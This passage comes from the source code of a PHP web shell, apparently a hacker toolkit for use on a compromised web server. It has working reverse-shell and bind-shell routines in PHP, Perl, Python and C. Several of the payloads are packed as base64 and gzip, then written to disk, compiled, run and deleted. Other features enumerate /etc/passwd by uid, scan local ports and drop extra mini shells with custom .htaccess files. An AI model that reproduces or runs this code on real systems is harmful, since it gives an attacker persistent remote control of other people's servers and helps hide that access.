1226 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc.c"><input type="submit" value="go"><input name="shellz" type="hidden" value="cremote"><input name="p" type="hidden" value="b"><br>'.$nc.'</form>';
1227 }
1228 //c end
1229 echo "<br>";
1230 echo '<font color="blue">---> PHP+C findsock </font><font color="gray">(likely wont work on modern php&apache >= 2009)</font><br>';
1231 $searchvar=trim(search("gcc",$failflag));
1232 if (empty($searchvar)) {
1233 echo "fail, no gcc here<br>";
1234 } else {
1235 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">compile findsock saving binary to: <input name="path" type="text" maxlength="500" size="10" value="./findsock"> <input name="p" type="hidden" value="b"><input type="submit" value="go"><input name="shellz" type="hidden" value="findsock"> <a href="#" onclick="showTooltip(3)" id="link3"> >> help << </a>';
1236 echo '<div id="3" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1237 echo "first save and compile findsock binary, then connect to this shell via nc and specify the path to binary in the request, e.g. if you've saved binary in current dir, make such request: <br><br>h4x0r@localhost$ nc -v ".$_SERVER['SERVER_NAME']." 80 <br> GET ".$_SERVER['SCRIPT_NAME']."?pfs&path=".getcwd()." HTTP/1.0 <br> Host:".$_SERVER['SERVER_NAME']." <press_Enter><br><press_Enter><br><br>and if findsock will succeed, you'll see a shell: <br> sh-3.2$<br><br>use nc, not telnet! do not forget to specify the correct path! <br>additional info: <br>https://bugs.php.net/bug.php?id=38915<br>https://issues.apache.org/bugzilla/show_bug.cgi?id=46425<br>http://pentestmonkey.net/tools/web-shells/php-findsock-shell<br><br></div>";
1238 echo '</form><br><br>';
1239 }
1240 } //failcheck end
1241 if (!empty($_POST["shellz"])) {
1242 //code by security-teams.net
1243 $perlbdcode='#!'.search("perl",$failflag).'
1244 use IO::Socket::INET;
1245 $server = IO::Socket::INET->new(
1246 LocalPort => '.$_POST["port"].',';
1247 $perlbdcode.=gzinflate(base64_decode('bY/RCoIwFIbve4rjiJhhSNemEGYQpYIadBFE6RFHpuKsiPDdc6ZB1C7G9n3/OdsBECt4FNgeQDfAd831wQ88a24rgzf18Mqx99OebhivMPtU2fOd6TrOW8qQlxAxpGR5ZClG0j4jsibcPWnudCyioMOQY3nDcmIcwxCLisqyyDzbJiymUpyX5w52FPKiedQPFitHASCzkehEtG/nbgMFiPHXWZ734/ijGeVCiXpimcqT7qtQt3uY5s30It7SevAC'));
1248 //code by Michael Schierl
1249 $perlbccode='#!'.search("perl",$failflag);
1250 $perlbccode.="\n";
1251 $perlbccode.=gzinflate(base64_decode('lVVtb5pQFP7OrzgaUiChFZxNVxlmru06006MspdkWRqESyVFIHDRNq3/fedeXoTGdZkm5rw859znnPuAeUZgYg2Hi9h9INQQcvQ/uxENDUG0J9bF9cyeggnHfX1wpp+fn5/2y8RiZt9e3GBK184GWv/0tK9j5mp8PZ5MTZ3ZX6yFbYrj+fX3X9pv9GfWvPJ15mtmNyI0ow7topchAewWkW2Dz3A4mV7ZIAszQtKx56VgjoA3VnloFqeUh1hvDKUxjZkvUTeRVOFTiF2C6J6FNFVQIE7BCwiIHUPInrI4IRHIM/vrTxWknkc2vYSuHyUVrLv55Y/5i3U3taafbq2Lm1alSNeJKUmGEMQuDasG9bbQREC7IqEZzpZHieM+yFIglRjM5BHjaO4TmlI2bvYtlo1OAW81d1dekCJ/qRnkoy3sy8m0Gi3Kw7AFyddO9gCaIXjEDyLiyWISeMjSj9P2AeQxoBD4wPL/RiNQ7rCkAs9YSly528uWQdRz7gmlT3AcwXEIPRZZOtkK3r0faBqU2896bFVd3rBV/H+1VWkN/NDCwKjt9kcHWjSnN4QdlJ96s9Y3G1c7Gh1eboW6ms/fQIlJgitk94x2GkSmuGU/BH+YvjY4BAurfhCSKMaVJ4qqK2DqB3Ls+SmygOmMhMSlwKPY+8Xcx8rjmqFinCoo4gUH2Yp4Joojy5fsjrdO6nkOdfBO108gi34ar1WRxuy4j3eGsF0hDVlndy6mGwzi45USxyuRIC5z31fxXdEfoL5DJ+OKkju1mtKNAkdHuBUwTShfI0pDbSz/SmX8IBMfGHiGmjMfH9gBxq5khfu5p6uCAow4fk9ymwaUyDhJzbEJV0o9v00T+0Xkkankr3zriUvSrw7BLWc0lQsGmsqrTWAa2PFvMUhnPyafIfLjPGITF9eIveOcmlwVIG65veU24TZhNhYQdmJBrKBU9cHXvI6pxnUzyamFtPYz1CReQRlMZRo9CN0Jbhjjn0shv8Ku5FlwZSxPuH3CJzGEPw=='));
1252 //author/license unknown
1253 $cbdcode=gzinflate(base64_decode('bVBha8IwEP3eX3FMmOns1H2uDoo6kDEV7ZexSejaVA9rKkkUq+y/75q6Drd9CHl59y737jVQxtk+EdDTJsG8vX50Gj8UrmSU/eIK3THFTui/tM7jjTDXvBQG6XRQljxKA6TiidCeBXGGFVBxdWdCEhDqIBTfYeIBKUrgO9qofWzbN1GSKI7S6nj58OG/MrUKaSqBHb2NiGUlitSKBsbrSMEd4cPb0nXOYEXoO2muGPa7PvZKnY+tlgtnZyu2Whhm5bj0mu/HbtOjsWT5m3Rd3/m0VuNdUZHdpXdDAWgTmRuqXraHPlRpseCJjyej0IPFdPDMF+F8FLx4MJ7N5tNwysPBzKXlMAVWd/bh/sEFRxzRMEJU/jgJlTNWrePCbZ0LRYknkaesZkqH9aOtUfI02mJWkKGLkzLLK0EF7EWqtcllxsaTYDic82DySv99AQ=='));
1254 $cbdcode.='serv_addr.sin_port = htons('.$_POST["port"].');';
1255 $cbdcode.="\n";
1256 $cbdcode.=gzinflate(base64_decode('hVJBasMwELznFVsfilRUEgd6cnNOcymF0rNxpbUtImwjKWloyd+7suzGaQjBIHtn2PHMINfK3EpYwaduFHM0KXQCmPN2Jz0QsC2UsvDA4d6h3edhEuD0N7Yl+0M4z2a6hF6A5O5WsOAww4P27DHlGfRk2dot42fkInAOfVfZjtE3DbpqCsPeN+uXjzcB9M4369ebEmMMo53H5hTk6bqxfvGr1gaBpRx+oorBhmSGfNJobHxMmPU0IUQXUmLnb9Q1WRZUXtSe2AlSz//sEJZ3WtEvKipFKxb7sXu0Ax4bGOqYMDEZhVC7bjnqi170DEkvkCV5wgNKw5I53YK5qxORhIPJughRBmetw3EnACfTxwt2dqTnFw=='));
1257 //author/license
1258 $cbccode=gzinflate(base64_decode('XVBNawIxEL3nVwwrlESjq161BRELUqui25Msy5pku6FrIkksVfG/N7vWj3oYMvPmzZuXqUnFih0X0LeOS93KX1DtBu1taDX7Eu4/roSTPkKpSlwqB5tUKlwmqflkFFieGqj7/HsVE3SsKBnvIevMjjkoNVPOTSIVWKl6iKdioxXu0DbxJC/rI8nSjSz28AyD12Q8HUW3zlYb5/HcaWVx6rTE1apuTO7GywUtWz2eW/qt8jO1E5MeoPVBGH0BqDdXCHXtNzqNe6QSB5RxL3a+Cf7zRWE5G74ly2gxGrxTGM/ni1k0S6LhnICfkBlgzLRSgjmccQr44QpQJ/DkHVN/i4PQ2WOfENJvEziirTBGGxysmjFcBEngvyx+pMPl6U6I77bdaktZXovOfdGtJgQrcBCupQptHtDA5tCUAYXpx2Ti+6zQVnh2+eUT+gU='));
1259 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
1260 $findsock=gzinflate(base64_decode('bVLbTsMwDH3vV5gioaR09zdG+QLEG0+ApqxJN4suqZIUcRH/jp11Y0yoUhIfHx87J71EW7e9NnAbPsIkuPrVxPH2Lrv8xaNGdw55tJu/mPKdmqA9ryaAQcr8xXuLJMwY2gg7hRYEn5Tf1CXUW+WLgoM3CV8ZNiA4ARcVLBjoqH9sRP4Y1MbcQINW8+iAHXTOx2eby2Vm3jGKKR2+M9aDgikrolRJ+Gn2sjxNcOEhNacUXbKvI3BOae1XNKEP6l+8ZZynD/hpSIM31wiiy6GFNzsXDTV/Wkxf9txGL7PGeRCNrhZLCm83Juqo1q3heiEZu74+3J+SnTHeqp2hihKuSJ1Wpkr2ZTRjJg1n6+5DHPuVwPavbHRKFGKYHe2KR4dCsso4DPE4pE2WsGDbuGvS23WneoOLiQRVBdPDhPx+khptgziosqeJlHIqOhRHr2Wa18SAmu6a6b6bp4tNT4PZaTBnN1sX2ID0vqZuRT5Zo5307Etewlk0UrQ+PN7fn9HD9sjdH0f4S/xO3/4XA5GP8wH7AQ=='));
1261 //code by b374k
1262 $pybdcode="#!".search("python",$failflag)."\n";
1263 $pybdcode.=gzinflate(base64_decode('jVTbahsxEH3ehf0HVS/WYmdjO+2LWxlCcUioE5fYhUIIZrOrZEU2kpHkXP6+mpF8aZxCX7zS6MycMzfLp5U2jmjbI/YNfnT1KFyPOPkksvTy9PdyOrnig/7wc5bOzyfTKafHd1Id24YcVTRLFxeXk+Xs14IPhv1+lv6cXS849fbz2TwcanFPbCPallVPdT7K0sQ2S712XNtipVdCMQzb7RDa6XpIt0M7eWFEWbdSCcty76GiC8RL7rUhkkhFTKkeBGt9hPCcY/QNuMvD90beeqsRbm0UiW9BVVk5qRWrtFLo+dLIVpCFWQuMA/bCClUzOh6PCQUhiTNv+JisvFSOECOqZxYLhRjxWomVizAjlSMUqul5KdqiFiBCeGsDYQIhacB8kCQw5keDkCSCuxxsIcEkkfcEAnA6qisaQe+oPNcOZet3qLPSK4mwjSSICuTAPe5HWwK92PU0Gnf1gl5kaWkenrmfqQIOWRoDwSX/djIi3isWRxijzVfIG9DiVTo28P6oFeA3g1uv9+gO5eKAoXV4e4gxlJSq3hGNTw59EhxNvJ5gCJ8r2bIi1sticMhRth9U345Hln/iWIGtyr5/h33hYWmK8GHxdnq2vLiaLDYrVcxn338s54vryell9PPVcnEy2GaPAuVB2gj3e1cz1ml1VbaNtq7TI6gy3wBaaZ1PHXSZteKh7WGs/R3ivC/XaDPUqLKAHorKMcKgSDE82Z9qsj/WIIKslV/WqinvWhFmF1IqbCvEin3JtxMOCnhcOeCCl+2cgYIEN7FX1rXJsaJFWQEl+6+l2iMdfEyKe35QAl9eEia3Wbtavyg2PFBGYrPgr4D+VYx/sAb8fsA/'));
1264 //code by ont.rif
1265 $pyintserver="#!".search("python",$failflag)."\n";
1266 $pyintserver.="import sys, socket, os, pty, fcntl, struct, termios, select, resource\n";
1267 $pyintserver.="host = \"".$_POST["ip"]."\"\n";
1268 $pyintserver.="port = ".$_POST["port"]."\n";
1269 $pyintserver.=gzinflate(base64_decode('hVT9i+IwEP29f8XcgjSFXlfXdT+EPVg8lyvnKqzCwalIL41rsCYliav+9zfpl9VdsNjGJm9m3ry81KhD1wEt6RqesoGZIB9I+fr8sgiH/Ylfvo9Hvd+L8eSt//wKXh4bUCkEoxhDVlIbH1KpjIerbE9ZarBCqrgwcAW9SLgGCvi3mbhyQOpgwfYcg1sYYTJCfGmnl1KtiQc/oNmtoZq26iVAXhhG475SUvnA7FDxcMFGdqERA2lobyZcaADJQQE+hSwiAm1U9gdTYoF4m97kugRLnjAhiYeyHDTCYi6qObiMlltzhF9EI4U6uhSzoWcKnxnqgynNpXBSHvtAVzyJF8sY9zQ1h0ImBzUT0gAiuuBALjRMwlFv/Cccjv8i+J2ZyBhFDFMbLrUP7nHZ9eH7Tev27vHmsXPXwi2we1CPfgJcfmi27+/bnYFNfZq7Foxr2trNqC01QRrRNXF/4YUlbps+POBtf7bGkgqTBFxSk5CvtPNrRVAua43Kc5BGWjuwifa5FIppuVWUBdimSvgGvVJNvQ3C13CyGI5ewkHfmzbnjrUIcOACVCTeGYG2X6bybPJCP+s7mkjNgHBL+NR4GSKngTi2Z/SDgHv9j4trvcJ2p647R8473C8GE7VlGIBu3aH9rEAswVMS5AOBabWv/qlPYI6ZirtTnI7KAraBOl9sGVMjG8WimNRStpr2suFZUzvFDftkSBt9bDNvL3fjT44SZNnA8A0D3CUP7VlkOzu7p/RLimfUzkq3SnZHckfyJa/C4/j6iRvb4FkoPmJfM/sP'));
1270 switch ($_POST["shellz"]) {
1271 case "phpremote":
1272 // code by pentestmonkey.net. license: GPLv2
1273 $ip=($_POST["ip"]);
1274 $port=($_POST["port"]);
1275 $chunk_size=1400;
1276 $write_a=null;
1277 $error_a=null;
1278 $shell='/bin/sh -i';
1279 $daemon = 0;
1280 function printit ($string) { if (!$daemon) { print "$string\n"; }}
1281 if (function_exists('pcntl_fork')) {
1282 $pid = pcntl_fork();
1283 if ($pid == -1) { printit("ERROR: Can't fork<br>"); exit(1); }
1284 if ($pid) { exit(0); }
1285 if (posix_setsid() == -1) { printit("Error: Can't setsid()<br>"); exit(1); }
1286 $daemon = 1;
1287 } else { printit("WARNING: Failed to daemonise!<br>"); }
1288 umask(0);
1289 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
1290 if (!$sock) { printit("$errstr ($errno)"); exit(1); }
1291 $process = proc_open($shell, $descriptorspec, $pipes);
1292 if (!is_resource($process)) { printit("ERROR: Can't spawn shell<br>"); exit(1); }
1293 stream_set_blocking($pipes[0], 0);
1294 stream_set_blocking($pipes[1], 0);
1295 stream_set_blocking($pipes[2], 0);
1296 stream_set_blocking($sock, 0);
1297 printit("Successfully opened reverse shell to $ip:$port<br>");
1298 while (1) {
1299 if (feof($sock)) { printit("ERROR: Shell connection terminated<br>"); break; }
1300 if (feof($pipes[1])) { printit("ERROR: Shell process terminated<br>"); break; }
1301 $read_a = array($sock, $pipes[1], $pipes[2]);
1302 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
1303 if (in_array($sock, $read_a)) {
1304 $input = fread($sock, $chunk_size);
1305 fwrite($pipes[0], $input);
1306 }
1307 if (in_array($pipes[1], $read_a)) {
1308 $input = fread($pipes[1], $chunk_size);
1309 fwrite($sock, $input);
1310 }
1311 if (in_array($pipes[2], $read_a)) {
1312 $input = fread($pipes[2], $chunk_size);
1313 fwrite($sock, $input);
1314 }
1315 }
1316 fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);@proc_close($process);
1317 //php backconnect end
1318 break;
1319 case "phplocal":
1320 // code by metasploit.com. license unknown, assuming BSD
1321 $port=$_POST["port"];
1322 $scl='socket_create_listen';
1323 if (function_enabled($scl)) {
1324 $sock=@$scl($port);
1325 } else {
1326 $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
1327 $ret=@socket_bind($sock,0,$port);
1328 $ret=@socket_listen($sock,5);
1329 }
1330 $msgsock=@socket_accept($sock);
1331 @socket_close($sock);
1332 while (FALSE !== @socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) {
1333 $buffer = '';
1334 $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
1335 if (FALSE === $c) { break; }
1336 if (substr($c,0,3) == 'cd ') {
1337 chdir(substr($c,3,-1));
1338 } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
1339 break;
1340 } else {
1341 if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1\n"; }
1342 if (function_enabled('shell_exec')) {
1343 $buffer=shell_exec($c);
1344 } else if(function_enabled('passthru')) {
1345 ob_start();
1346 passthru($c);
1347 $buffer=ob_get_contents();
1348 ob_end_clean();
1349 } else if(function_enabled('system')) {
1350 ob_start();
1351 system($c);
1352 $buffer=ob_get_contents();
1353 ob_end_clean();
1354 } else if(function_enabled('exec')) {
1355 $buffer=array();
1356 exec($c,$buffer);
1357 $buffer=join(chr(10),$buffer).chr(10);
1358 } else if(function_enabled('proc_open')) {
1359 $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
1360 $buffer=NULL;
1361 while (!feof($pipes[1])) {
1362 $buffer.=fread($pipes[1],1024);
1363 }
1364 @proc_close($handle);
1365 } else if(function_enabled('popen')) {
1366 $fp=popen($c,'r');
1367 $buffer=NULL;
1368 if (is_resource($fp)) {
1369 while (!feof($fp)) {
1370 $buffer.=fread($fp,1024);
1371 }
1372 }
1373 @pclose($fp);
1374 }
1375 else { $buffer=0; }
1376 }
1377 @socket_write($msgsock,$buffer,strlen($buffer));
1378 }
1379 @socket_close($msgsock);
1380 echo "<br><br><font color=\"green\">phplocal done</font>";
1381 break;
1382 //phpbind end
1383 case "perllocal":
1384 $exec_path = trim($_POST['path']);
1385 ob_start();
1386 @sploent516();
1387 ob_end_clean();
1388 $fh=fopen($exec_path,'w');
1389 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1390 else {
1391 fwrite($fh,$perlbdcode);
1392 fclose($fh);
1393 chmod($exec_path,0644);
1394 $c=search("perl",$failflag).' '.$exec_path.' && rm -f '.$exec_path.'';
1395 run($c);
1396 echo "<br><br><font color=\"green\">perllocal done</font>";
1397 }
1398 //perl bind end
1399 break;
1400 case "perlremote":
1401 $exec_path=trim($_POST['path']);
1402 ob_start();
1403 @sploent516();
1404 ob_end_clean();
1405 $fh=fopen($exec_path,'w');
1406 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1407 else {
1408 fwrite($fh,$perlbccode);
1409 fclose($fh);
1410 chmod($exec_path,0644);
1411 $c=search("perl",$failflag).' '.$exec_path.' '.$_POST["ip"].' '.$_POST["port"].' && rm -f '.$exec_path.'';
1412 run($c);
1413 echo "<br><br><font color=\"green\">perlremote done</font>";
1414 }
1415 break;
1416 //perl backconnect end
1417 case "pylocal":
1418 $exec_path = trim($_POST['path']);
1419 ob_start();
1420 @sploent516();
1421 ob_end_clean();
1422 $fh=fopen($exec_path,'w');
1423 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1424 else {
1425 fwrite($fh,$pybdcode);
1426 fclose($fh);
1427 chmod($exec_path,0644);
1428 $c=search("python",$failflag).' '.$exec_path.' -b '.$_POST["port"].' && rm -f '.$exec_path.'';
1429 run($c);
1430 echo "<br><br><font color=\"green\">pylocal done</font>";
1431 }
1432 //python bind end
1433 case "pyremote":
1434 $exec_path=trim($_POST['path']);
1435 ob_start();
1436 @sploent516();
1437 ob_end_clean();
1438 $fh=fopen($exec_path,'w');
1439 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1440 else {
1441 fwrite($fh,$pybdcode);
1442 fclose($fh);
1443 chmod($exec_path,0644);
1444 $c=search("python",$failflag).' '.$exec_path.' -r '.$_POST["port"].' '.$_POST["ip"].' && rm -f '.$exec_path.'';
1445 run($c);
1446 echo "<br><br><font color=\"green\">pyremote done</font>";
1447 }
1448 break;
1449 //python backconnect end
1450 case "pyint":
1451 $exec_path=trim($_POST['path']);
1452 ob_start();
1453 @sploent516();
1454 ob_end_clean();
1455 $fh=fopen($exec_path,'w');
1456 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1457 else {
1458 fwrite($fh,$pyintserver);
1459 fclose($fh);
1460 chmod($exec_path,0644);
1461 $c=search("python",$failflag).' '.$exec_path.' && rm -f '.$exec_path.'';
1462 run($c);
1463 echo "<br><br><font color=\"green\">pyint done</font>";
1464 }
1465 break;
1466 //python interactive end
1467 case "clocal":
1468 $exec_path=trim($_POST['path']);
1469 ob_start();
1470 @sploent516();
1471 ob_end_clean();
1472 $fh=fopen($exec_path,"w");
1473 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1474 else {
1475 fwrite($fh,$cbdcode);
1476 fclose($fh);
1477 $c=search("gcc",$failflag)." -w ".$exec_path." -o ".$exec_path." && ".$exec_path." ".$_POST["port"]." | rm -f ".$exec_path."";
1478 run($c);
1479 echo "<br><br><font color=\"green\">clocal done</font>";
1480 }
1481 break;
1482 //C bind end
1483 case "cremote":
1484 $exec_path=trim($_POST['path']);
1485 ob_start();
1486 @sploent516();
1487 ob_end_clean();
1488 $fh=fopen($exec_path,"w");
1489 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1490 else {
1491 fwrite($fh,$cbccode);
1492 fclose($fh);
1493 $c=search("gcc",$failflag)." ".$exec_path." -o ".$exec_path." && ".$exec_path." ".$_POST["ip"]." ".$_POST["port"]." | rm -f ".$exec_path."";
1494 run($c);
1495 }
1496 break;
1497 case "findsock":
1498 $fs_path=trim($_POST['path']);
1499 ob_start();
1500 @sploent516();
1501 ob_end_clean();
1502 $fh=fopen($fs_path.".c","w");
1503 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1504 else {
1505 fwrite($fh,$findsock);
1506 fclose($fh);
1507 $c=search("gcc",$failflag)." ".$fs_path.".c -o ".$fs_path." && rm -f ".$fs_path.".c";
1508 run($c);
1509 echo "<br>compiled, now connect to shell via nc and request ?pfs&path=".$fs_path."<br>";
1510 }
1511 break;
1512 }
1513 }
1514 echo "</body></html>";
1515 break;
1516// --------------------------------------------- bind end; extras
1517 case "e":
1518 if (empty($_POST["extraz"]) and $download != "1") {
1519 echo $title;
1520 echo '<font color="blue">---> SysInfo</font><br>';
1521 echo '<font color="gray">SERVER_ADDR: '.getenv('SERVER_ADDR').'<br>';
1522 echo 'REMOTE_ADDR: '.getenv('REMOTE_ADDR').'<br>';
1523 echo 'HTTP_X_FORWARDED_FOR: '.getenv('HTTP_X_FORWARDED_FOR').'<br>';
1524 echo 'HTTP_PROXY_CONNECTION: '.getenv('HTTP_PROXY_CONNECTION').'<br>';
1525 echo 'HTTP_VIA: '.getenv('HTTP_VIA').'<br>';
1526 echo 'HTTP_USER_AGENT: '.getenv('HTTP_USER_AGENT').'<br>';
1527 echo 'SERVER_SOFTWARE: '.getenv("SERVER_SOFTWARE").'<br>';
1528 echo "php API: ".php_sapi_name()."<br>";
1529 echo "php version: ".version()." (full: ".phpversion().")<br>";
1530 echo 'disable_functions: '.ini_get('disable_functions').'<br>';
1531 sploent516();
1532 echo "<br>";
1533 echo "current dir: ".getcwd()."<br>";
1534 echo "uname: ".wordwrap(php_uname(),90,"<br>",1)."<br>";
1535 echo "script owner: ".get_current_user()."<br>";
1536 if(function_enabled('posix_getpwuid')) {
1537 $processUser = posix_getpwuid(posix_geteuid());
1538 echo "current user: ".$processUser['name']."<br>";
1539 } else {
1540 echo "posix_getpwuid disabled!<br>";
1541 }
1542 echo "<br></font>";
1543 echo '<font color="blue">---> Extraz</font><br><br>';
1544 if (!function_enabled('phpinfo')) { echo "fail, phpinfo() is disabled<br><br>";
1545 } else {
1546 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="pi"><input type="submit" value="phpinfo()"></form><br>';
1547 }
1548 if(function_enabled('posix_getpwuid')) {
1549 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">"read" /etc/passwd from uid <input name="uid1" type="text" size="10" value="0"> to <input name="uid2" type="text" size="10" value="1000"> <input type="submit" value="go"><input name="uidz" type="hidden" value="done"></form><input name="p" type="hidden" value="e">';
1550 if (!empty($_POST["uidz"])) {
1551 echo "<br>";
1552 //code by oRb
1553 for(;$_POST['uid1'] <= $_POST['uid2'];$_POST['uid1']++) {
1554 $uid = @posix_getpwuid($_POST['uid1']);
1555 if ($uid)
1556 echo join(':',$uid)."<br>\n";
1557 }
1558 }
1559 }
1560 echo "<br>";
1561 if(function_enabled('fsockopen')) {
1562 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">"scan" local open ports from <input name="port1" type="text" size="5" maxlength="5" value="1"> to <input name="port2" type="text" size="5" maxlength="5" value="1337"> <input type="submit" value="go"><input name="portz" type="hidden" value="done"><input name="p" type="hidden" value="e"></form>';
1563 if (!empty($_POST["portz"])) {
1564 for($i=$_POST["port1"]; $i <= $_POST["port2"]; $i++)
1565 {
1566 $fp=@fsockopen("127.0.0.1", $i, $errno, $errstr, 1);
1567 if ($fp) {
1568 echo "-> ".$i."<br>";
1569 fclose($fp);
1570 }
1571 }
1572 }
1573 }
1574 echo '<br><a href="#" onclick="showTooltip(5)" id="link5"> >> minishells help << </a>
1575 <div id="5" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1576 echo 'sometimes CGI and SSI are not disabled globally on the server, so you could use CGI or SSI shell. but to enable CGI/SSI you need to use special .htaccess files.<br>CGI:<br><textarea cols="44" rows="2">'.$htaccesses['cgi'].'</textarea><br><br>SSI:<br><textarea cols="44" rows="4">'.$htaccesses["ssi"].'</textarea><br><br><b>warning:</b> using custom .htaccess could break this site! (it could result in error 500). <br>it is recommended to create new dir and place custom .htaccess and minishells there.<br><br>//thanks to profexer for SSI shell and to Michael Foord for python shell</div>';
1577 if (file_exists(".htaccess")) {
1578 echo '<br>WARNING: my .htaccess will <b>rewrite</b> current one!';
1579 }
1580 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini perl shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="sh.pl"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="perlsh"><input name="p" type="hidden" value="e"> ';
1581 if (is_writable("./")) {
1582 echo "<font color=\"green\">(./ writable)</font>";
1583 } else {
1584 echo "<font color=\"red\">(./ readonly)</font>";
1585 }
1586 echo '</form>';
1587 if ($failflag=="1") {
1588 echo "can't find perl binary (all system functions disabled) assuming /usr/bin/perl<br>";
1589 }
1590 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini python shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="sh.py"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="pysh"><input name="p" type="hidden" value="e"> ';
1591 if (is_writable("./")) {
1592 echo "<font color=\"green\">(./ writable)</font>";
1593 } else {
1594 echo "<font color=\"red\">(./ readonly)</font>";
1595 }
1596 echo '</form>';
1597 if ($failflag=="1") {
1598 echo "can't find python binary (all system functions disabled) assuming /usr/bin/python<br>";
1599 }
1600 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini SSI shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="index.shtml"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="ssish"><input name="p" type="hidden" value="e"> ';
1601 if (is_writable("./")) {
1602 echo "<font color=\"green\">(./ writable)</font>";
1603 } else {
1604 echo "<font color=\"red\">(./ readonly)</font>";
1605 }
1606 echo '</form>';
1607 echo '<br>';
1608 //code by Eric A. Meyer, license CC BY-SA
1609 echo '<script type="text/javascript">function encode() { var obj = document.getElementById("dencoder"); var unencoded = obj.value; obj.value = encodeURIComponent(unencoded); } function decode() { var obj = document.getElementById("dencoder"); var encoded = obj.value; obj.value = decodeURIComponent(encoded.replace(/\+/g, " ")); } </script>';
1610 echo "<font color='blue'>---> Text encoderz/decoderz</font><br><br>";
1611 echo "fast URL-encoder:<br>";
1612 echo '<form onsubmit="return false;" action="javascript;"><textarea cols="80" rows="4" id="dencoder"></textarea><div><input type="button" onclick="decode()" value="Decode"> <input type="button" onclick="encode()" value="Encode"></div></form>';
1613 echo "<br>other encoders: ";
1614 //code by Eugen
1615 $cryptform="<form action=\"".$_SERVER['PHP_SELF']."\" method=\"post\">
1616 <input name=\"p\" type=\"hidden\" value=\"e\">
1617 <textarea name=\"text\" cols=\"80\" rows=\"4\">";
1618 if(isset($_POST["text"])) { $cryptform.=$_POST["text"]; }
1619 $cryptform.="</textarea><br>
1620 <select name=\"cryptmethod\">
1621 <option value=\"asc2hex\">ASCII to Hex</option>
1622 <option value=\"hex2asc\">Hex to ASCII</option>
1623 <option value=\"b64enc\">Base 64 Encode</option>
1624 <option value=\"b64dec\">Base 64 Decode</option>
1625 <option value=\"crypt\">DES Crypt</option>
1626 <option value=\"entityenc\">HTML Entities Encode</option>
1627 <option value=\"entitydec\">HTML Entities Decode</option>
1628 <option value=\"md5\">MD5 Crypt</option>
1629 <option value=\"md5md5\">MD5(MD5) Crypt</option>
1630 <option value=\"sha1\">SHA1 Crypt</option>
1631 <option value=\"mysql5\">MYSQL5 Hash</option>
1632 </select><br>
1633 <input type=\"submit\" name=\"crypt\" value=\"go\">
1634 </form>";
1635 echo $cryptform;
1636 if(isset($_POST['crypt'])) {
1637 function entityenc($str) {
1638 $text_array=explode("\r\n", chunk_split($str, 1));
1639 for ($n=0; $n < count($text_array) - 1; $n++) {
1640 $newstring .= "&#" . ord($text_array[$n]) . ";";
1641 }
1642 return $newstring;
1643 }
1644 function entitydec($str) {
1645 $str=str_replace(';', '; ', $str);
1646 $text_array=explode(' ', $str);
1647 for ($n=0; $n < count($text_array) - 1; $n++) {
1648 $newstring .= chr(substr($text_array[$n], 2, 3));
1649 }
1650 return $newstring;
1651 }
1652 function asc2hex($str) {
1653 return chunk_split(bin2hex($str), 2, " ");
1654 }
1655 function hex2asc($str) {
1656 $str=str_replace(" ", "", $str);
1657 for ($n=0; $n<strlen($str); $n+=2) {
1658 $newstring .= pack("C", hexdec(substr($str, $n, 2)));
1659 }
1660 return $newstring;
1661 }
1662 $text=$_POST['text'];
1663 if($text == '') {
1664 die("<p>empty form</p>\n");
1665 }
1666 echo("--><br><textarea cols=\"80\" rows=\"4\">");
1667 switch ($_POST['cryptmethod']) {
1668 case "asc2hex":
1669 $text=asc2hex($text);
1670 break;
1671 case "hex2asc":
1672 $text=hex2asc($text);
1673 break;
1674 case 'b64enc':
1675 $text=base64_encode($text);
1676 break;
1677 case 'b64dec':
1678 $text=base64_decode($text);
1679 break;
1680 case 'crypt':
1681 $text=crypt($text, 'CRYPT_STD_DES');
1682 break;
1683 case 'entityenc':
1684 $text=entityenc($text);
1685 break;
1686 case 'entitydec':
